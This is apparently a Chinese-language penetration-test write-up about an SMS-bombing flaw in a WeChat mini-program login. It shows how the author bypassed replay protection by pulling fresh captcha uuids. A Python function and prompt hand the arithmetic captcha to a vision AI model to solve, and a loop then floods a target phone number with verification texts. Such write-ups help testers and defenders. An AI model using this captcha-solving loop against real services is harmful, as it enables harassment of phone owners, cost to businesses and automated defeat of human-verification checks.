短信轰炸是一种业务逻辑安全漏洞,指攻击者利用短信发送接口缺乏频率限制、人机验证或业务上下文校验等缺陷,通过自动化脚本高频触发短信下发,向目标手机号批量发送验证短信,既可对用户造成恶意骚扰与资费损失,也会导致企业短信通道费用激增、服务资源耗尽及合规风险
发现过程
在一个小程序中,存在登陆时需要绑定手机号的功能,初看为很常见的若依二改

尝试测试验证码功能,通过burp抓包数据
1 2 3 4
| GET /xxxx/getVerificationCode?pNumber=13411111111&code=54&uuid=0b976797d06a46abb251e0f935266e3a HTTP/2 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Priority: u=1, i
|
重发包发现会显示验证码失效
1
| {"msg":"验证码已失效","code":500}
|
绕过防重放
分析数据包,发现参数为pNumber,code,uuid。尝试删除uuid和code
1
| {"msg":"Required request parameter 'code' for method parameter type String is not present","code":500}
|
发现不能成功,尝试爆破code从1-100也仍然失败。回显仍然是验证码失效
1
| {"msg":"验证码已失效","code":500}
|
跟进代码查看。网址利用默认浏览器打开,F12定位接口,在该位置打下断点

1 2 3 4 5 6 7
| n.getVerificationCode = function(e) { return t.http.request({ url: "/xxxx/getVerificationCode", method: "GET", data: e }) }
|
这里可以看出e就是参数内容,寻找uuid生成方式(code很明显是后端生成的图形验证码运算后的结果),全局搜索uuid
1 2 3 4 5 6
| a.getcaptchaImage)({}).then((function(i) { var n = i.data; e.captchaImg = "data:image/gif;base64," + n.img, e.loginFormData.uuid = n.uuid, t && uni.$u.toast("图形验证码错误,请重新输入") }
|
发现uuid与img一致,都由后端生成而来。且是由getcaptchaImage接口生成。抓包访问接口验证
1 2 3 4
| GET /captchaImage HTTP/2 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Priority: u=1, i
|
返回包中包括了图片验证码的base64+uuid

那么只需要从这个接口获取这两样数据,再加入到第一个数据包中即可以绕过验证码重放限制。
识别图片验证码
如果利用之前的ocr的话还是很难识别出来的。ocr会把常见的+号识别为t,而*和/一般会被忽略掉识别,需要不断地调试很麻烦。那么则可以直接利用AI模型。将img的base64值先还原成图片,在将图片发送给AI识别,给AI附上提示词。
1 2 3 4 5
| 图片中是一个个位数的数学表达式,格式如:3+4=? 或 5*2=? 请只识别前三个字符:第一个数字、运算符、第二个数字。 - 数字范围:0-9,运算符:+ - * / - 输出格式:只输出3个字符,如 3+4 或 5*2 - 不要输出等号、问号、结果或任何解释
|
AI即可精准识别前三位,再配合脚本运算即可得到code。脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| def recognize_captcha(img_b64): try: response = client.chat.completions.create( model="xxxx", messages=[ { "role": "user", "content": [ { "type": "text", "text": """图片中是一个个位数的数学表达式,格式如:3+4=? 或 5*2=? 请只识别前三个字符:第一个数字、运算符、第二个数字。 - 数字范围:0-9,运算符:+ - * / - 输出格式:只输出3个字符,如 3+4 或 5*2 - 不要输出等号、问号、结果或任何解释""" }, { "type": "image_url", "image_url": {"url": f"image/png;base64,{img_b64}"}, }, ], } ], max_tokens=10, temperature=0, )
ai_output = response.choices[0].message.content.strip()
cleaned = re.search(r'(\d[\+\-\*\/]\d)', ai_output) expr = cleaned.group(1) if cleaned else ai_output[:3]
result, expr_str = calculate_simple(expr) if result is not None: return {'expression': expr_str, 'result': result, 'raw': ai_output} return None
except Exception: return None
|

那么流程就很清晰了。
1 2 3 4 5 6
| 1.发包接口/captchaImage触发uuid和图片的base64值生成 2.取出img的base64值先转化为图片发送给AI 3.AI识别图片前三位,记录并发送给下一步运算 4.脚本将前三位数据带入运算得到code 5.将code和uuid放入到/xxxx/getVerificationCode接口中发送 6.循环发包实现重放
|
这里三四也可以合并让AI一起操作。将思路告诉AI生成代码即可,以下为执行示例图

成功率基本是接近100%的,这里我加入了一秒休眠,正常五秒内发一次没问题。
结果
成功绕过防重放,可以低量爆破(这里有点取决于AI识别的速度),成功造成短信轰炸
